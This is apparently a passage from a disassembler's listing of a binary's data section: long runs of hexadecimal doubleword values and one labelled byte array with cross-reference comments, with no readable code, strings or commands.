2300A064h dd 0B370AC80h, 0BA00AEC1h dd 0A7DDB77Fh, 723F58h, 81651ED7h, 41B22924h, 63E6A200h dd 0F9B15D23h, 3B4D4A09h, 0D8DAC800h, 0BD008261h, 3793198Fh dd 1E81179h, 21C5A72Ah, 0F17295CDh, 0F618C08Ah, 0E82D2C31h dd 77F1C487h, 0E9B4CCh, 0DEC1072Ah, 492C1E38h, 0DCBC9400h dd 0B1CDAB57h, 0C5410053h, 0AAE8F12Eh, 28056189h, 5DFDA997h dd 41D6F5C2h, 0F42962E8h, 0FA300A80h, 0DCA02003h, 0F900B212h dd 0D971E777h, 0E06114h, 37079398h, 4C70BD4Eh, 0E101F300h dd 0F235B757h, 0F5E63C86h, 0E46DC980h, 0A6465509h, 728CFA02h dd 0C0E1A092h, 0EE2AE53Ah, 835607BFh, 8E6A3h, 44B7EACBh dd 6185CE00h, 0D0387A11h, 0AC650019h, 0B7674E2h, 0DE015637h dd 1C9620B8h, 16CCBE21h, 0AD14005Eh, 98179C4h, 6F1DD6AAh dd 3207235Dh, 201B3978h, 7DF3B034h, 0BC7A003Eh, 0A5CD5A59h dd 0D3070AB2h, 0BE7CC4B7h, 3014CFD0h, 0F6A80072h, 0E5FB3DB9h dd 0D0014704h, 0E82DE706h, 95D80A34h, 0D90E28F1h, 2B6011F0h dd 7D3EC359h, 0F9ACB848h, 0F4AA0070h, 88063074h, 21D9C7Bh dd 6440B97Eh, 8FD3E05Ch, 8AF70027h, 0DCA5D68Ch, 1E001FE6h dd 86BC16C4h, 26AEB4F9h, 1B4268Dh, 4781033h, 0F875EC88h dd 0E608EF01h, 0D1BBC479h, 7E51E8h, 973A8FEEh, 52634BFBh dd 0A086B500h, 5D315864h, 3CE1003Eh, 19488C9Eh, 0BC14C44Fh dd 0BC338Dh, 0F84079F6h, 4247EDBh, 0EBF23FD9h, 0DC58D04Eh dd 0C8E09345h, 2D428300h, 0F392B66Dh, 0C97E00EAh, 543E96E6h dd 0CE8CBB8h, 51696800h, 81F35F32h, 409E00E0h, 490517B3h dd 0DF1F1DD1h, 16C0849Fh, 0CC2672F8h, 5C98E9h, 17F1AE69h dd 13FF7D73h, 0D78DC200h, 7972AACBh, 46CCA025h, 31A00062h dd 78673F6Eh, 4A603E7Fh, 665647ECh, 0F40F2AFh, 0B2BBE4Ch dd 0E5D70F40h, 1C7ECC1Fh, 0EE00AC92h, 0E72EFEF9h, 1CBEB37h dd 0D88DE6DBh, 2009A0CEh, 300093B8h, 4D54D127h, 20DC49h dd 3DCF2C69h, 0A37B2D1Ch, 45294E02h, 0E8FD7516h, 1F1F5BBCh dd 4072FA9Dh, 0FB6EC6A9h, 8600E091h, 0B8EA5A45h, 0B662Ch dd 641C5C71h, 0E729230Ah, 160F410Bh, 0A1DC400Dh, 0EC350710h dd 0C03AFDBDh, 0EA84281Eh, 9D34CE00h, 9B931A11h, 890E2h dd 0B6CA8EF1h, 38067019h, 442FE001h, 14F75B49h, 0D4EDF887h dd 0A9771B1h, 1332C042h, 580118C0h, 0C0F35472h, 6CB5D611h dd 8B0483D4h, 0E1576017h, 345E14D0h, 4E1504B1h, 0D0BEA876h dd 0E7EDD310h, 1F6B2319h, 0F9463A10h, 0D5CC263Ch, 42960018h dd 0D611B993h, 0CB4C10C0h, 473AB4h, 8EAD5787h, 35D1E2C3h dd 3438CE2Eh, 0C13078BBh, 6FE778EBh, 394B0BBh, 53218370h dd 0A2E0D4E6h, 389871A6h, 0C70E8B00h, 6B63D273h, 5ECD00CEh dd 0BF97BA01h, 50001209h, 0FECA3B3h, 7833DBh, 0D332CB75h dd 43C8AEC9h, 0B2F79500h, 9EF38BB4h, 0CC300BDh, 4FEC3870h dd 92163427h, 5A0F1C5Dh, 0F57520F2h, 1E97A044h, 3501177h dd 0F430C77Ah, 0E7660801h, 49037DD1h, 0F5C001EFh, 0CB52A267h dd 0FC3C65h, 0EF269895h, 3F11E64Bh, 0DD00AF12h, 2CBFF4DAh dd 10009EBBh, 178A8EF9h, 0E0AFACE5h, 0D5FA00EDh, 0E04A464Fh dd 8F73F7FFh, 1C193126h, 0C1EA14h, 7BD1E457h, 3811C59Ah dd 3900AA03h, 0F4D930FCh, 82517FABh, 2EDFCC98h, 0E388F000h dd 0A8EE1068h, 0F62B055Ah, 0C42D02BEh, 4A5CC01Ch, 3339E967h dd 44D70076h, 0E29F5DAEh, 0A9A30088h, 0E90C171h, 9D07C99Eh dd 6CF6781Bh, 792D4800h, 6690008h, 3983EEDBh, 85003C38h dd 905B3BA6h, 0BCBE353Fh, 0B6D25024h, 9466B48h, 2076AF0Eh dd 92833F20h, 8EE203h, 0D3938658h, 5532FAACh, 3E1C7F48h db 0A0h byte_520045 db 0A0h, 0EEh, 0 ; DATA XREF: ___:00438120o ; ___:00438138o dd 5ADA92E3h, 1A5F2D6Fh, 0F29FEF00h, 6A24B25Bh, 0D1781286h dd 9A5407A6h, 44438017h, 0B1E8160Eh, 2EF8B048h, 57054A11h dd 82015450h, 9DDC8AF5h, 3599D4h, 0FB245FFh, 6E5C5A64h dd 0BA873Ch, 69482132h, 7CD36Fh, 677862FCh, 451D68AAh dd 5DFE2D1Eh, 4D71CC9h, 0E08C5508h, 4A854816h, 54C3B407h dd 0F75D9049h, 0FF00EA8Bh, 0B8344DA6h, 7C91CFCCh, 0A3E5013Dh dd 43EB5D13h, 2DF460A9h, 0A8F9DD01h, 67C5BF39h, 0A024E0D0h dd 8423E0h, 7A20958h, 26B21F95h, 5463600h, 52C7CF90h, 2FD13A5Ah dd 0E5F8CA30h, 167411F7h, 6E54A200h, 568CAA5Bh, 833F639h dd 745E6445h, 0CCF16500h, 387AEED1h, 6E05614Eh, 9D0B4Fh dd 0DDC0D8ACh, 9F006CACh, 0E10255F3h, 0C3092Bh, 5A613050h dd 0F4FC061Dh, 4CCB8600h, 0A811AE89h, 2A383C9Dh, 0B1B3B580h dd 0D88490F8h, 7CF51B00h, 8701FC43h, 8CA701F6h, 12AC4FE0h dd 0AE20F08Eh, 8205C179h, 8D36356Dh, 0E83E7080h, 0A67D0093h dd 0CDEBA45Dh, 471D42B8h, 4F404802h, 9DE4616Ah, 9E580A5Fh dd 808A1Bh, 0A928CCFEh, 6400CB53h, 718CF086h, 16B542Dh dd 9851CE01h, 7083C26Eh, 8900BCA8h, 0C7ED393Dh, 38A1EBC8h dd 0B5801318h, 8FA02BD4h, 596057DBh, 0BFB9C464h, 0B36D004Ah dd 0AB3378CDh, 80031BEh, 0BD5DBE0h, 0B4EE17h, 3B9040A2h dd 7E571A1Ch, 8E2E68C0h, 9B67D6h, 49D8E436h, 7A013E7Bh dd 0A7CF8D00h, 97C87586h, 0C7280E8Bh, 1180E0EDh, 379B1F05h dd 0BEBDBF08h, 0EB8600AEh, 0E453EFEEh, 77FD5F00h, 0E3A4FEF3h dd 958C0F19h, 0B7400CFBh, 3864BC0Bh, 75EAD700h, 24070282h dd 0BF4D4827h, 78557918h, 0BC1FFF30h, 950068B5h, 39075613h dd 60022467h, 0C0A0704h, 0F49B5054h, 5D3021BDh, 0ED27185Fh dd 0F7F8E9BBh, 941032Bh, 378F0B53h, 0A5CC86B0h, 0D608FCBEh dd 40B5808Ch, 1134763Bh, 0DCBE1F00h, 7E8AED33h, 0D21824DBh dd 979E0184h, 2E7160ACh, 0BFB058C0h, 5DFD0BB3h, 6025CC79h dd 4068E7D8h, 0B10047C2h, 0FD736085h, 0EDEC08h, 97C33E06h dd 74AD391Dh, 0C0C67B03h, 80565401h, 0A0BF295Ah, 9C288C6h dd 0DEE3A321h, 0DB00CC50h, 7FADCAFEh, 36B20D7h, 0C7952716h dd 73D823F8h, 59724FA5h, 2AC58F00h, 4EA7DE74h, 0B19C00E5h dd 6F857AEDh, 0A3007D7Bh, 0E08A8BC6h, 279819Bh, 9C3F802Ch dd 7469FDDDh, 8784C0F9h, 90114800h, 0A8DF1483h, 0C23C2CBBh dd 0CF4A0014h, 87D2929Bh, 0B8AFFE00h, 1BD71008h, 7918B0F2h dd 0EF403B28h, 9B549E8Eh, 0D6D99920h, 1A05AFE5h, 74D7324Dh dd 0C1DDACC0h, 5B9501D2h, 0CBBB9024h, 0C84A2A8Bh, 8601A399h dd 70601214h, 0B7002038h, 97CF84DAh, 0FF305EF8h, 913219FAh dd 87E0078h, 0A9CAB2A8h, 59284972h, 6004D4ADh, 2D14CB09h dd 0A0458B0h, 0BDFCB325h, 761100F0h, 0F81C8530h, 928080A0h dd 34DFF30Eh, 3ABA454Eh, 20C1C800h, 0CAB99Ch, 376BF13Ch dd 0A8F6E52Fh, 90203D60h, 7B2B57h, 5306C507h, 95BB47EEh dd 832E9778h, 0F40964F0h, 0CF888045h, 0EAF339h, 0E54B1420h dd 0AD9CECDBh, 6B755E02h, 4066A42Eh, 74C4D3h, 0EFFB96B3h dd 6EED3106h, 0B6608E7Ch, 949129FCh, 6C8400C0h, 4B4FD6EAh dd 79017BE4h, 0A7DDFEC5h, 8C48DFBDh, 3EF20020h, 0A519A05Ch dd 44002D51h, 9737F1B5h, 0C82861h, 235ECEF3h, 0A5D753B9h dd 9300CC9Ch, 4AF46449h, 7727013h, 0D83963A7h, 2225C0DEh dd 2C005490h, 0E5C66843h, 2F5AD9h, 367920F1h, 0A1B241B8h dd 891AA31Ch, 359EB4DEh, 281DF580h, 0B9B8Ch, 0B27F81DEh dd 23542CA9h, 44B70600h, 55A29F3Fh, 791F0133h, 6753380Ch dd 90C2801h, 0E7A810h, 0E114D94Eh, 0AB960072h, 4AB8049Ch dd 9095C0D0h, 3EA16E2Ch, 8100EA23h, 0F82E6C0Eh, 0F24FAB9h dd 0DE003014h, 6703A8A1h, 8206029Ah, 0BB91643Ah, 0F0B16275h dd 0A134063Ch, 36D1B2D8h, 295B350Fh, 566C065h, 0A0B64119h dd 487980C4h, 8A0B74C2h, 7D806C2Ah, 6A134E36h, 8F1A4400h dd 0E4415EE2h, 0ABC901C0h, 0E7B307C3h, 0D8B8711Fh, 76784268h dd 160044E6h, 0DE38B22h, 3177EE5h, 10116E05h, 129BD6BBh dd 405F8FF0h, 0D5060A00h, 4A60D37h, 8B2C5CF5h, 3B00273Fh dd 9BC6C37Fh, 8E005D46h, 0D172DF91h, 0EC1FC869h, 65923D8Fh dd 0BC05D92Dh, 28BD0F57h, 0F22EB60h, 3C0702E0h, 45D0AF3Ah dd 58E4BF51h, 169EA1ECh, 97C691h, 3D10FCA3h, 56E25598h dd 260026B8h, 962C24Ch, 619E0CB2h, 0C5EE6199h, 247D30h dd 6FE1A946h, 5DBFA44h, 0BCB5A57Fh, 0A4100728h, 0E46640BDh dd 450EDBF2h, 82C8FA34h, 0FAF66C09h, 116A0028h, 49CBBAD3h dd 0A30AB2D2h, 102D6B4Ah, 26604418h, 0C77D0096h, 61E2343Bh dd 1E01074Bh, 1473C683h, 60CAB4D3h, 6CD3516h, 1B8CD029h dd 0C0C08928h, 0DE83CC45h, 50DA783Ch, 0B408C1h, 0A3ECBCC4h dd 0F558B7CDh, 0E2D8F301h, 929D9453h, 51147C40h, 8AA450A8h dd 23830058h, 35C60AF9h, 0EE001AEAh, 0CD191317h, 0FA1A3C2h dd 8A6D891Fh, 0E1967660h, 0CA00C34Bh, 713B67DAh, 4841C9h dd 0B0E05044h, 8D2AD366h, 8797FD3Dh, 3A31F1AEh, 639C01Fh dd 361909Bh, 0DEDC5256h, 0F7A08D6Bh, 2200C981h, 50E0A683h dd 915743h, 95D17685h, 9D69F5E5h, 8019AB3Eh, 588EB287h dd 7AD523Ch, 953A869Bh, 92254114h, 0B9F8208Ch, 7EE25D07h dd 0BC90B82Ch, 9AF31Ch, 71C0AC22h, 63ABB140h, 34051FFCh dd 0DA05B636h, 0C28E8C40h, 652B733h, 6B29CA7Dh, 0C3600875h dd 33C81521h, 854803E4h, 0BCE04344h, 9609C4D0h, 0DC087818h dd 32C0D29h, 3D0B205Ah, 73E814B1h, 0F900164Ch, 4ECA8ADDh dd 39B932B4h, 706749EBh, 0DC25A0CEh, 20096735h, 20EC2D08h dd 98B7D118h, 5C4507E1h, 1C6C33FAh, 1CBAD508h, 9970AB00h dd 4DA1A42h, 0D3051D86h, 3107499Ah, 90341820h, 0E1005D8Bh dd 0E56AFA36h, 0E45A8E94h, 46EB0F0Ch, 0C1B747DFh, 8CB6D754h dd 18FA2378h, 0F934F242h, 6206D9BEh, 0B8F4651Ah, 395D2814h dd 4D3A0E0Ch, 8B1E5F91h, 2406C806h, 3F3D0081h, 3AA592FDh dd 9E1DED52h, 75195112h, 0FDCC9A21h, 242A018Fh, 6228CE73h dd 97598036h, 9ACB7DF4h, 37AA0AEAh, 0BFDCBFA0h, 848F3078h dd 0E4F96110h, 8BBD900h, 0EF5CAB71h, 7E2200D3h, 93518B45h dd 0C6011F9Dh, 8F025E66h, 7AEC6772h, 38870065h, 0CF3694B7h dd 35023E5Ch, 0DA5E53ACh, 0D1B6E09Ah, 0E8263D0Eh, 6F559500h dd 87ACF1AFh, 223B1A00h, 3DA74D1Eh, 1F730768h, 0C0BA52E7h dd 0D544593Ah, 0E4DA4100h, 0C569C65Ah, 0D8AD0331h, 517683FEh dd 40621000h, 80E8CBBEh, 0AF3D0EF2h, 0C003D242h, 5000C8A5h dd 0BABE29C2h, 337A74CEh, 50386F06h, 0E726DC88h, 36918000h dd 61A19042h, 0B2FEF0h, 9F81B6C2h, 19EF088Bh, 0D6031602h dd 839C9BFCh, 0D8253D3Ch, 147CB935h, 0C92EA7Ah, 65692703h dd 52B97696h, 702F08AEh, 4891628Bh, 9A00960Ch, 24FD68h dd 0F7734874h, 2BFB9FA0h, 0DE5799C6h, 0D7AE0008h, 21875B5Eh dd 0DB004C48h, 0F7FE5186h, 0ED5DAFDEh, 16DA30h, 9725568Fh dd 9C99A977h, 52588806h, 118B5B2h, 28638DB9h, 0DC06D143h dd 300DA2Bh, 0A557A22h, 479CCBh, 7F5CDE4Eh, 0BCD82F34h dd 3E006E75h, 0EE804BB4h, 1CC9B8h, 0AB3D676Ch, 0EB3FC5F3h dd 411FDB00h dd 0E0FBA1D0h, 0A5010356h, 9AF403C2h, 11376274h, 0A8F02040h dd 35B3456h, 2698A30Eh, 24F21D0Fh, 531ED3C0h, 283F9E1Eh dd 0F4155A87h, 7B19189Ch, 57D03ABFh, 0F518E5C8h, 0D3C1701Bh dd 78E86401h, 1EA483DDh, 21C40998h, 644CC8E1h, 0D5397D08h dd 0D71081A6h, 2707A250h, 44FE0h, 0C08A11Bh, 54735B9Ah dd 0F36F6C7Ch, 11A2A041h, 1E0DEC39h, 0C63D39Ah, 0E1F9A678h dd 56DE048Ch, 61D2A507h, 70073FF6h, 289956A6h, 0A48B200h dd 78B7DCC7h, 8D1C0CE8h, 0D6E81D8Bh, 4051236Fh, 0C87A39DAh dd 0A4F30E2Ah, 0C60CEB1Bh, 0EA60B988h, 912035A1h, 94BF076Bh dd 703695A5h, 19547040h, 0AD254200h, 749A6615h, 0D43C0759h dd 87D71D4Dh, 9BCB33E8h, 0D6228088h, 6547B100h, 32150F85h dd 0A73B0341h, 0D33CBF77h, 0DE203FF8h, 0A127751Dh, 48B4C100h dd 0B90308h, 7D907B44h, 0F6E06496h, 5C9E0B5h, 0AED21D70h dd 0E2444062h, 4C5AA9E4h, 1B676F0Eh, 0A40DC026h, 0FCEE79Ch dd 0CBC9BA27h, 105F47E0h, 0C63AF377h, 0DEC50751h, 8520043Fh dd 7A1D9DBAh, 0C940C090h, 0C2AE9E27h, 5F0CB000h, 1020B411h dd 2BE41F9Ch, 0FCFF8168h, 0E8794535h, 83009AEAh, 327BCBC1h dd 0B4AA90h, 0DF7420ADh, 0BE3F8541h, 9000C77h, 83D48A87h dd 63357Eh, 0FEAFA4ABh, 88C4C0AEh, 0C76C271Eh, 0ADCF0E86h dd 0BC4B3979h, 10D96833h, 97E26380h, 0D89A8100h, 78DE5E5Ah dd 3D7200D5h, 63A25C0Eh, 140044A6h, 8FA4BA1Fh, 30E80FE7h dd 9D0C463Eh, 4006E668h, 4AA7E249h, 0D800008h, 0B248EDE8h dd 0A6073B99h, 0DEFC9BC3h, 3294C670h, 0AFD1460h, 0F9001CE4h dd 0F721E12Fh, 481779B7h, 0FC0BC5E9h, 0DAA600DEh, 0E04DE7h dd 6D5DA73Dh, 217E70CDh, 0D3492200h, 3C6173C2h, 1D4BFCF7h dd 469803BBh, 11508681h, 0A0045152h, 0C05749F8h, 0B4936910h dd 7200530Eh, 4B7DD6B9h, 5236CEh, 79F8AD63h, 68076020h dd 2BBD0A18h, 88D02528h, 0F5885006h, 0B8828821h, 0EC080189h dd 84E15644h, 22AF5122h, 7A78D26Dh, 2208BD89h, 0C029B544h dd 9F626A51h, 0DF1F7513h, 0F1405891h, 0F5749EBBh, 204A0087h dd 0C955BEF6h, 0C71DA85Fh, 0C8016E69h, 0D0B3768Ch, 910009BEh dd 0A2201675h, 0E90B624Fh, 80489828h, 191C9E70h, 0DFEA5Dh dd 4A61C68Eh, 0C03268D6h, 4936501Dh, 0D88DFA00h, 0EAFDFBh dd 568AACE0h, 5150CF59h, 0E4F69600h, 0B87A3720h, 0BA65008Dh dd 0B94BC7C0h, 48021886h, 42D30A29h, 20CCAF60h, 0E5593384h dd 6C060062h, 10D00FE3h, 76739E93h, 320DBD05h, 0D68059A8h dd 0EA6B083Dh, 0C1FAE8h, 176DE279h, 4A4C2A41h, 1E3EBD1Ch dd 0B0C824C1h, 0CFCE443h, 5F7904C6h, 80B6AF32h, 0FD48E504h dd 30C8870Eh, 0CEA8C0FEh, 72BA05Dh, 0CDAE3436h, 0B791A067h dd 0B40F8302h, 0C160F527h, 7CA95ECAh, 25AD9ECh, 0D293B387h dd 0F9603BD0h, 7401AFBCh, 0C5430B6h, 58E87A52h, 77950A40h dd 0A8F5EDh, 0E756A160h, 1C3CB687h, 0E007E92h, 8F075FB7h dd 701FB93Bh, 5C1D0056h, 62EB6A40h, 470F8EDEh, 2060884Fh dd 0A5059568h, 468F09F3h, 1200D214h, 0FA414AA4h, 0E5C6CD01h dd 0C94B39ABh, 34B6ECh, 0A94E0D71h, 421CFCBDh, 77F02B00h dd 9815825Bh, 481E018Bh, 0E34DE9EAh, 0E808808Dh, 391DD084h dd 0EDC40254h, 5640E024h, 0DC1CD880h, 0FD3CEE4Ah, 0F3382Ah dd 6F05128h, 0EC4D34h, 0EF4C2D0Ah, 0A2BDDA69h, 0BC837100h dd 0F38E76DFh, 8746FF7h, 0E62B7980h, 240085FEh, 9730C51Fh dd 1824D1Ch, 0D73CBB2h, 243D1165h, 0EF072944h, 0FDBA132Bh dd 55387080h, 0BC57076Dh, 80B299C4h, 2AA8CD4Bh, 821DECF1h dd 8AD2BF0Bh, 1F9160C6h, 0A890326h, 662ED8A9h, 32FAFEE0h dd 5100FBF8h, 0A25E954Fh, 0E6BB62h, 0BDD0DB33h, 0B456176Ch dd 44DC9909h, 132C016Ah, 84405F65h, 1230BACh, 0E1FE3FCDh dd 0DCB47D60h, 1613E229h, 0B51C0834h, 0D6B398B1h, 0B178D8h dd 50FBBDD5h, 3D43D25h, 0D7B8F116h, 0BBD2D100h, 0F6ACA64h dd 75866C9Dh, 70FF17E1h, 3A1DF820h, 0CF58500Bh, 0BB14811Ah dd 9EC38B7h, 147600E7h, 0F5178CACh, 0D803A580h, 9D5C7967h dd 0EC1100C7h, 0CABF4E02h, 49016CA9h, 17C1AAE5h, 0A8EF5ED9h dd 3E025ECh, 0E99913DCh, 0E6A151DFh, 49FCE8B9h, 11E16C00h dd 2EDB92D6h, 6AE900CDh, 0A4263373h, 5B03B7BDh, 45AF96C2h dd 98A7A3F6h, 0CF0B87h, 66806BC4h, 0FA0D9DF7h, 0E7E13C09h dd 0F8C000B3h, 6DB939h, 76BC2F6Ah, 69222D6Bh, 263E717Ch dd 232E8075h, 96374E74h, 3CE00759h, 43D7AE93h, 97CA694h dd 3745D803h, 8BE5F184h, 734EA823h, 95D601C0h, 98D18883h dd 36B9D88Ah, 3DC69E1Fh, 4000BD5Ch, 5A241DEBh, 0A91A00FAh dd 0B954312Eh, 0E000511Eh, 39083776h, 75DCFD7Ch, 85B70083h dd 6FD42009h, 30010E9Ah, 0B4E24187h, 3C2048FFh, 55A00050h dd 814AF3ECh, 0B8003DC4h, 0F2A7BBDCh, 0BA9946h, 0F66E4F80h dd 0B3F148D2h, 0D3DD8B00h, 595B6ACBh, 0F89095h, 0BA38817h dd 3D543AA6h, 8DB53Ch, 5D01DEB7h, 0AB0E9FDh, 48DA9D92h dd 3C8960C8h, 10F19FEh, 0B75BC8h, 4EBAA030h, 0C522047Bh dd 0C0277FEBh, 0E25F4430h, 10C3E100h, 2498B662h, 67D6004Fh dd 6F3BC531h, 0DF2349Fh, 80FD373Eh, 711EE0BFh, 1EADE855h dd 0C0F7CEh, 0FFBC1867h, 471C9287h, 39809461h, 71097C1h dd 849F004Eh, 0E9B28396h, 4300F822h, 1B346381h, 380428B7h dd 258007F4h, 0B136FA98h, 0C528279Bh, 5E00AD1Ah, 50962FC9h dd 174E2BE3h, 149F29h, 99288B3h, 2C001756h, 0BE93C9Eh dd 0AF7A1Ah, 7C12296Ch, 114F86A8h, 6FB3390Fh, 9D57E75Ah dd 30E186h, 0CE9620D9h, 0B62DF673h, 5609C073h, 54C4E3h dd 935B5FE8h, 75A009Bh, 94DE6F57h, 83E085FFh, 7F12211Dh dd 470D2D04h, 0C1AFC8C0h, 0C9D1001Bh, 350F695Bh, 0D33B89D4h dd 0EB068020h, 0FE02FD93h, 0F8C7DBFh, 54FFC29Ch, 5FB3C560h dd 9BE8B8F4h, 8405E000h, 38D80F6Ch, 471500C2h, 57BF80F2h dd 585854FEh, 2CB07290h, 4600B9F0h, 40BAFF21h, 83FD23h dd 8F015F3Ch, 0CC065A45h, 4499AF26h, 8491B700h, 6F94F2BFh dd 5C80099Ch, 5D7EF2Fh, 0A711A600h, 9CB1CB85h, 0FD6F00FBh dd 0B80E19Eh, 60050D0h, 2238D717h, 0E4F5D3h, 1E8FD1E0h dd 2843E54Ah, 0A1726100h, 46E8F8BDh, 0C7870477h, 0C1F266C6h dd 30DBB07Ah, 22034284h, 15FC5197h, 878CE9DEh, 0C3A2AD8h dd 40F8EE8h, 1C00D904h, 641F2815h, 7FD4CD6h, 437D215Fh dd 0F13910FCh, 0E8008CA2h, 36DBDFC2h, 3AC5D7h, 9DBD702Dh dd 40D21D2Ch, 429A48h, 0AD930945h, 0EC0EC3h, 2833627Fh dd 6E8FF41Bh, 0EE4E371Ch, 3C802E1Eh, 0DB69E354h, 3A6501F5h dd 17B603FCh, 0C85030B5h, 0BD729000h, 866EDFBAh, 74A501BBh dd 78A1C1B8h, 16C6284h, 8868645Eh, 95D493B0h, 658A1BA7h dd 0A8E0098Dh, 5401069Bh, 2738B041h, 1FD9DE84h, 87007872h dd 8C24433Ah, 12176B31h, 0B11Dh, 0AC6E6280h, 0A94102E7h dd 0BEF7B579h, 8B6D48C0h, 5632800h, 0E74CCE29h, 3C2E3D95h dd 224B1280h, 6C80A359h, 0A71E1000h, 0CCCD3299h, 0A4512CECh dd 0B1B000CFh, 584CE69Dh, 0BE15D105h, 6AC0C23Ah, 191D59h dd 2D9FA83Dh, 92A3B8F5h, 89669700h, 17C585ABh, 533A0004h dd 228D315h, 9A3C6341h dd 4523005Ch, 0D5E135DDh, 10DC59h, 6F05E6BAh, 149018BEh dd 5BE59F0Ch, 7C1D106Ah, 4CD707BCh, 40B34446h, 9ECB97CFh dd 0B7E27890h, 8086A100h, 8185AACEh, 6F640AC8h, 3FCCC4ABh dd 701DD0DCh, 13C24054h, 1B14AFDDh, 0C3AAD80Dh, 25F00912h dd 59720EA7h, 3F25E2Ch, 3344378h, 4E79D9A0h, 0A6CBB1Fh dd 0E3BBD05h, 2B2E64C0h, 0E64C3903h, 68AB9987h, 1777A066h dd 7E582DCFh, 851B008Fh, 0DA1CC16Fh, 4771B0h, 4D8A179Bh dd 8FB9B4C8h, 0F49951Dh, 0D36BFA40h, 66CD622h, 36089204h dd 3C0E30F2h, 0E005AD3Dh, 6741BBC7h, 12C0C017h, 0ACCCAB5Eh dd 7FDAD207h, 0DC806B8Bh, 1D203367h, 0FA851C8Eh, 0E05AE80h dd 0D256999Ch, 68B0F198h, 0F2076300h, 0B578C174h, 165E0235h dd 4A0ABA52h, 8CC6AC84h, 3E40AA3Ch, 439904A1h, 80D1F2F1h dd 0EB5F030h, 9E505F00h, 0FB773C05h, 0C87800D8h, 0F1D1B3C9h dd 0F5026713h, 2F63D583h, 0D75DC097h, 8DE600E5h, 0C9C3D815h dd 992AF5C4h, 4400F42Eh, 5F9A224Fh, 7B33F3D3h, 0BBA4007Eh dd 12C5F8D1h, 34005C26h, 69C38DA0h, 0D35002h, 0D2E55283h dd 0B9AFA676h, 751C31ECh, 0B8CCC14h, 51D03Eh, 959828E2h dd 0CD2404A5h, 0CCEC020Bh, 29FCA02Fh, 4417CF44h, 840E0198h dd 0E187A0EBh, 0EFBD74F9h, 8259499Eh, 11A83BD2h, 23DDF460h dd 3FB3925h, 0F816CF2Ch, 25DDA2Bh, 55A77EEBh, 7178238Ch dd 0B30051E6h, 0DDA48D7Ah, 0F73B6h, 86045EC6h, 0A2E32641h dd 7DD3F50Eh, 4B502083h, 3E3D7Ah, 5C454807h, 6A8C228Eh dd 0ACB61000h, 0A7A9626Eh, 300B7B73h, 1BF485E4h, 0DA0F6CF9h dd 609CC7C6h, 0F674654Ah, 0B22401D3h, 0F2D50B98h, 6C646055h dd 419A8A00h, 7E9B9957h, 0A1E70052h, 9DE35840h, 9C715C7Ch dd 8B237F0Bh, 0C55400Dh, 0DEC61ED1h, 0A1093703h, 0F036FBC9h dd 7D0134D8h, 6C2730C0h, 0D0288315h, 0CCB58200h, 0B4911C78h dd 9B746F00h, 0E5548FD6h, 23363F70h, 14877BBBh, 0C0489A58h dd 844B341Fh, 66774204h, 308087FEh, 240F7Ch, 0D5B78BE4h dd 32CCE55Eh, 55D43600h, 4C9E7F49h, 798C287Ch, 1F653AFDh dd 0D7B4BE80h, 9080F3BCh, 0FC005973h, 0A1BFA530h, 58F470h dd 2D4F5DDFh, 15C4B1C2h, 99ED7500h, 12CF84FAh, 0F9E26Fh dd 9CBC0E93h, 59D63F8Eh, 8B0D990Ah, 0B812D745h, 8CCC0C00h dd 18CE916Eh, 61BA8AABh, 6D59C5BCh, 0C8DE3A08h, 638C001Eh dd 0F967B494h, 8EAB0D92h, 0F0098961h, 2058FACh, 35844549h dd 3FF20480h, 8598A013h, 0FA2B01F6h, 0D8DA34E2h, 5948C01Dh dd 0CA37C100h, 33FDB05Eh, 2823DA5h, 0D9F9A300h, 0BD936D51h dd 0E0F281Dh, 75C6F300h, 1CCF2B0Ch, 136103h, 0D8B776BFh dd 4B005104h, 0B0C94920h, 9EE990h, 6BD4578Fh, 59B90C89h dd 0C4BC0F00h, 48FC13CCh, 8551008Eh, 7EA93ACFh, 0DC700C77h dd 230BEA00h, 4CC68CAEh, 0CB38008Bh, 1D353162h, 0DF7D021Eh dd 21AB1400h, 6D016EE2h, 0D75E000Ch, 1C338EBEh, 0E6A022B8h dd 4E030980h, 0C4F5E461h, 0E0A850F0h, 56CC0027h, 5DCA86F2h dd 0E90449E3h, 9B027B64h, 0A40814F0h, 0A0400498h, 807D7924h dd 35E76AD0h, 699850F3h, 0B90E26BFh, 0A4D6B785h, 90E01179h dd 0E4C35D3Fh, 0F5F44600h, 363AA619h, 0CF0B7404h, 0F890C12Ch dd 528572h, 0BD466CB5h, 173BE442h, 964EE000h, 8EDFF795h dd 7934009Ch, 0AFAC927Bh, 770771EEh, 12585C1h, 0B95F4430h dd 70F7E812h, 0D84103EFh, 8E6C7816h, 0FF3AFBD8h, 0CD44812h dd 742BC000h, 249E39h, 0EC8F4D88h, 8626AA6Ch, 0EBC7C000h dd 9F2A7031h, 0E9760Ah, 30EA2E6Fh, 0F1C31565h, 95857800h dd 0DEFBB737h, 0FABA2CE1h, 0E714001Ch, 3488410Dh, 68B9AB24h dd 677BB401h, 3432B6A8h, 0B3684400h, 0BF6C70ADh, 610045F2h dd 0DC727ABEh, 3C81C1Dh, 0CBD362D6h, 97C1AD7h, 71041401h dd 36212D40h, 0A6820h, 95D62CB7h, 0B59BE152h, 787DDC0Bh dd 65060961h, 0D09600D4h, 5FE8AC9Fh, 0E600AF77h, 0A3D431D8h dd 3C29FDh, 0BC816822h, 0BBB44B3Ah, 0E6541600h, 2602B394h dd 80DA008Ch, 19F3F644h, 41001742h, 9CCAAF8Dh, 0E6B87A3Bh dd 7331007Eh, 0ABDFA3C0h, 270015FEh, 2166625Dh, 9D97A52h dd 2127C76h, 849D9002h, 1F60E073h, 0B5CEB6h, 9CCDD1ADh dd 2BE5EE7Dh, 0CC6B0600h, 7B0A3369h, 45220089h, 0B44E6D73h dd 0A300CB07h, 974FA672h, 2C1DD152h, 8074A18Ah, 0EFB782E9h dd 0CC7105F8h, 0D9FAE603h, 0C155A3E8h, 0DBD4E0F1h, 379A0E42h dd 4B032A29h, 0AF885ADEh, 571E5599h, 6B803E4Ch, 0F5762E3Dh dd 9492EBh, 243C97E3h, 2709AEE1h, 80A8E23Eh, 47A48C0Fh dd 0AD8813h, 97351042h, 0CF3C76A1h, 77BF903h, 7C71DCCAh dd 0C7040109h, 0BE0C5DD7h, 0E3A070E4h, 0FBA49900h, 0D15A34F9h dd 4859E874h, 0A90ECC69h, 0A2E0C470h, 0C66751CCh, 49C0BD00h dd 0A1C86BEDh, 27810973h, 942188B2h, 0F864B0AEh, 9306B7C7h dd 2ABDA89Eh, 0A40400F0h, 48165F36h, 17176AE7h, 980013D8h dd 0C5DADE73h, 2134016Bh, 47EE67D7h, 0B8DE480h, 